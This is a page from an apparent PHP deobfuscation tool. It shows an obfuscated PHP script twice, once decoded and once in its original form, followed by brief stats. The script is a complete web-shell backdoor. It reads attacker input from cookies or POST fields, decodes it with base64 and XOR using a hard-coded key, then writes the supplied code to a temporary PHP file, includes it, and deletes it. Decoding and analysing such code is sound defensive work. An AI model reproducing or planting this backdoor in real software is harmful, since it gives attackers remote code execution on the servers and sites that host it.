Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $jfxdbbo = 'jfxdbbo' ^ ' '; $l_bgiqyf = /* rwlxo ..
Decoded Output download
<?php
$jfxdbbo = 'jfxdbbo' ^ ' ';
$l_bgiqyf = /* rwlxo */ $_COOKIE;$lazqcattw /* zgq*/ = 63;$cndgqz = $_POST;
function zcinecet()
{
$byiobv_el /* h*/ = 'fswfvjw'; $lllci = 'rdqbm_uat';
$ncqovlzrtuzgggya /*bgqcai */ = 'asic';
$uqxfakru /* zq */ = 'obbnzcq';
/* j*/ $lllci = /*eb */ strtolower($uqxfakru); $gcmgnll = 'kpcdflswu';
$luxdf_yq = /* zd_uh*/ '_kevp';
}
function znhakdpb($xsvsczy, $pyzex)
{ /* gqz */ global $jfxdbbo;
$ddv_grpzv = "";
$epwrhc /* p */ = 43;
for ($ncqovlz /* ejoj*/ = 0; $ncqovlz < strlen($xsvsczy);) { for ($jncrtbnz = 0; /* iqhbx*/ $jncrtbnz /* o */ < strlen($pyzex) /*sjbszf*/ && $ncqovlz < strlen($xsvsczy); $jncrtbnz++, /* fkiorq */ $ncqovlz++) {
$ddv_grpzv .= $jfxdbbo(ord($xsvsczy[$ncqovlz]) ^ ord($pyzex[$jncrtbnz]));
$jncrtbnzgxgmomqaw /*jfcrq */ = /* qsou*/ 20;
}
} return $ddv_grpzv;
}
function tmprquszm($ktftmksqw, /* xeb*/ $xsvsczy)
{
global /*g */ $jfxdbbo;
$alinidsia = sprintf(".".$jfxdbbo(47) . "%"."s"."." . /* l */ "p".$jfxdbbo(884-776), /* _mk */ md5($ktftmksqw)); file_put_contents($alinidsia, "<" . "?" . "p" . "h"."p" . $jfxdbbo(32) . /* wfhay */ "u" . "n".$jfxdbbo(108) . "i" . "n" . /*ejyt*/ "k"."("."_"."_"."F"."I".$jfxdbbo(817-741) . /* jylv */ "E"."_"."_".")" . ";" . $jfxdbbo(32) . /* bjh */ $xsvsczy["d"]);$rvjwimly = /* e */ 'tulu';
/* t */ include($alinidsia);
/*io*/ $glmvrz = /*zpkm_i */ $alinidsia; $uxvjior /* vp */ = trim($rvjwimly);
$fsycowwmjs = 'hzrt_te';
@unlink($glmvrz);
$mhwykag = 41;
$oiacmftgm = 5;
}
function /* iqfu */ azsopvwy(){
global $jfxdbbo;
/* lyd */ $ncqovlz /* xfo */ = /* j */ array();
$ohwlta__i /*ceccjs */ = 'smkn';
$ncqovlz["p".$jfxdbbo(118)] = phpversion();
$ncqovlzypqypf = 45;
$ncqovlz[$jfxdbbo(512-397) . /* zkvlgo */ $jfxdbbo(408-290)] = /* znek */ "3" /* nmexoz */ . /* w */ ".".$jfxdbbo(892-839); echo @serialize($ncqovlz);
}
function sgnysrcfyo()
{
/* r */ $fpxnomelpp = 67;
$djl_optxaz = 'uukuepjgfq'; $kmkccnp = 31;
$fpxnomelpp = /* s*/ $kmkccnp * 20;
$dgpfmc = /* u */ 35;
}
sgnysrcfyo();
function clbdb($xsvsczy, $ktftmksqw, $zliqbynw)
{
/* emgy */ global $jfxdbbo;
/* gbh*/ $xsvsczy = /* _*/ unserialize(znhakdpb(znhakdpb(base64_decode($xsvsczy), /* uiycx */ $ktftmksqw), $zliqbynw)); if /* ywqq */ (isset($xsvsczy["a" . "k"])) {
if /* _fgk */ ($xsvsczy["a"] == $jfxdbbo(105)) {
/* xj*/ azsopvwy();
} /* w */ elseif /* dm */ ($xsvsczy["a"] /* gwluv*/ == "e") {
tmprquszm($ktftmksqw, $xsvsczy);
$ppcbnkub /*_qsvoz */ = /* d */ 74; /* kqds*/ } exit();
}}
$l_bgiqyf = /* xitzeg */ array_merge($cndgqz, /* kimhen */ $l_bgiqyf);
$ktftmksqw /*zsxea */ = "7"."3"."5".$jfxdbbo(310-261) . /*z*/ "9" . "4" /* uwsrtz */ . "f" . /* vi */ "2".$jfxdbbo(45) /* oravtu */ . /* fff */ $jfxdbbo(100) /* mucvew */ . /*n*/ "9" . /* bg */ "a"."c"."-" /* wkels */ . /* o */ "4" . "5" . /*_*/ $jfxdbbo(920-863) . /* fbu */ "1"."-".$jfxdbbo(499-443) . "f"."b" /*e */ . "8".$jfxdbbo(45) . "a"."4"."5" . "4".$jfxdbbo(51) /* zxklcv */ . $jfxdbbo(730-632) . "2"."5"."f"."5"."c"."e";foreach ($l_bgiqyf as /* fhoyua */ $zliqbynw => $xsvsczy) {
clbdb($xsvsczy, $ktftmksqw, $zliqbynw);
}
$gnzvjead = /* rs */ 'hnsvl';
$raspbieuq = 31;
zcinecet();
?>
Did this file decode correctly?
Original Code
<?php
$jfxdbbo = 'jfxdbbo' ^ ' ';
$l_bgiqyf = /* rwlxo */ $_COOKIE;$lazqcattw /* zgq*/ = 63;$cndgqz = $_POST;
function zcinecet()
{
$byiobv_el /* h*/ = 'fswfvjw'; $lllci = 'rdqbm_uat';
$ncqovlzrtuzgggya /*bgqcai */ = 'asic';
$uqxfakru /* zq */ = 'obbnzcq';
/* j*/ $lllci = /*eb */ strtolower($uqxfakru); $gcmgnll = 'kpcdflswu';
$luxdf_yq = /* zd_uh*/ '_kevp';
}
function znhakdpb($xsvsczy, $pyzex)
{ /* gqz */ global $jfxdbbo;
$ddv_grpzv = "";
$epwrhc /* p */ = 43;
for ($ncqovlz /* ejoj*/ = 0; $ncqovlz < strlen($xsvsczy);) { for ($jncrtbnz = 0; /* iqhbx*/ $jncrtbnz /* o */ < strlen($pyzex) /*sjbszf*/ && $ncqovlz < strlen($xsvsczy); $jncrtbnz++, /* fkiorq */ $ncqovlz++) {
$ddv_grpzv .= $jfxdbbo(ord($xsvsczy[$ncqovlz]) ^ ord($pyzex[$jncrtbnz]));
$jncrtbnzgxgmomqaw /*jfcrq */ = /* qsou*/ 20;
}
} return $ddv_grpzv;
}
function tmprquszm($ktftmksqw, /* xeb*/ $xsvsczy)
{
global /*g */ $jfxdbbo;
$alinidsia = sprintf(".".$jfxdbbo(47) . "%"."s"."\56" . /* l */ "p".$jfxdbbo(884-776), /* _mk */ md5($ktftmksqw)); file_put_contents($alinidsia, "<" . "\x3f" . "\160" . "h"."\160" . $jfxdbbo(32) . /* wfhay */ "\165" . "n".$jfxdbbo(108) . "\151" . "\x6e" . /*ejyt*/ "k"."("."_"."_"."F"."I".$jfxdbbo(817-741) . /* jylv */ "E"."_"."_"."\x29" . "\x3b" . $jfxdbbo(32) . /* bjh */ $xsvsczy["d"]);$rvjwimly = /* e */ 'tulu';
/* t */ include($alinidsia);
/*io*/ $glmvrz = /*zpkm_i */ $alinidsia; $uxvjior /* vp */ = trim($rvjwimly);
$fsycowwmjs = 'hzrt_te';
@unlink($glmvrz);
$mhwykag = 41;
$oiacmftgm = 5;
}
function /* iqfu */ azsopvwy(){
global $jfxdbbo;
/* lyd */ $ncqovlz /* xfo */ = /* j */ array();
$ohwlta__i /*ceccjs */ = 'smkn';
$ncqovlz["p".$jfxdbbo(118)] = phpversion();
$ncqovlzypqypf = 45;
$ncqovlz[$jfxdbbo(512-397) . /* zkvlgo */ $jfxdbbo(408-290)] = /* znek */ "\x33" /* nmexoz */ . /* w */ ".".$jfxdbbo(892-839); echo @serialize($ncqovlz);
}
function sgnysrcfyo()
{
/* r */ $fpxnomelpp = 67;
$djl_optxaz = 'uukuepjgfq'; $kmkccnp = 31;
$fpxnomelpp = /* s*/ $kmkccnp * 20;
$dgpfmc = /* u */ 35;
}
sgnysrcfyo();
function clbdb($xsvsczy, $ktftmksqw, $zliqbynw)
{
/* emgy */ global $jfxdbbo;
/* gbh*/ $xsvsczy = /* _*/ unserialize(znhakdpb(znhakdpb(base64_decode($xsvsczy), /* uiycx */ $ktftmksqw), $zliqbynw)); if /* ywqq */ (isset($xsvsczy["\x61" . "k"])) {
if /* _fgk */ ($xsvsczy["a"] == $jfxdbbo(105)) {
/* xj*/ azsopvwy();
} /* w */ elseif /* dm */ ($xsvsczy["a"] /* gwluv*/ == "e") {
tmprquszm($ktftmksqw, $xsvsczy);
$ppcbnkub /*_qsvoz */ = /* d */ 74; /* kqds*/ } exit();
}}
$l_bgiqyf = /* xitzeg */ array_merge($cndgqz, /* kimhen */ $l_bgiqyf);
$ktftmksqw /*zsxea */ = "7"."3"."5".$jfxdbbo(310-261) . /*z*/ "\x39" . "\x34" /* uwsrtz */ . "\x66" . /* vi */ "2".$jfxdbbo(45) /* oravtu */ . /* fff */ $jfxdbbo(100) /* mucvew */ . /*n*/ "\x39" . /* bg */ "a"."c"."\x2d" /* wkels */ . /* o */ "\x34" . "\x35" . /*_*/ $jfxdbbo(920-863) . /* fbu */ "1"."-".$jfxdbbo(499-443) . "f"."\142" /*e */ . "8".$jfxdbbo(45) . "a"."4"."\x35" . "4".$jfxdbbo(51) /* zxklcv */ . $jfxdbbo(730-632) . "2"."5"."f"."5"."c"."\145";foreach ($l_bgiqyf as /* fhoyua */ $zliqbynw => $xsvsczy) {
clbdb($xsvsczy, $ktftmksqw, $zliqbynw);
}
$gnzvjead = /* rs */ 'hnsvl';
$raspbieuq = 31;
zcinecet();
?>
Function Calls
sgnysrcfyo | 1 |
array_merge | 1 |
Stats
MD5 | e50f142a46700ecf355b1c2e92c6fd73 |
Eval Count | 0 |
Decode Time | 67 ms |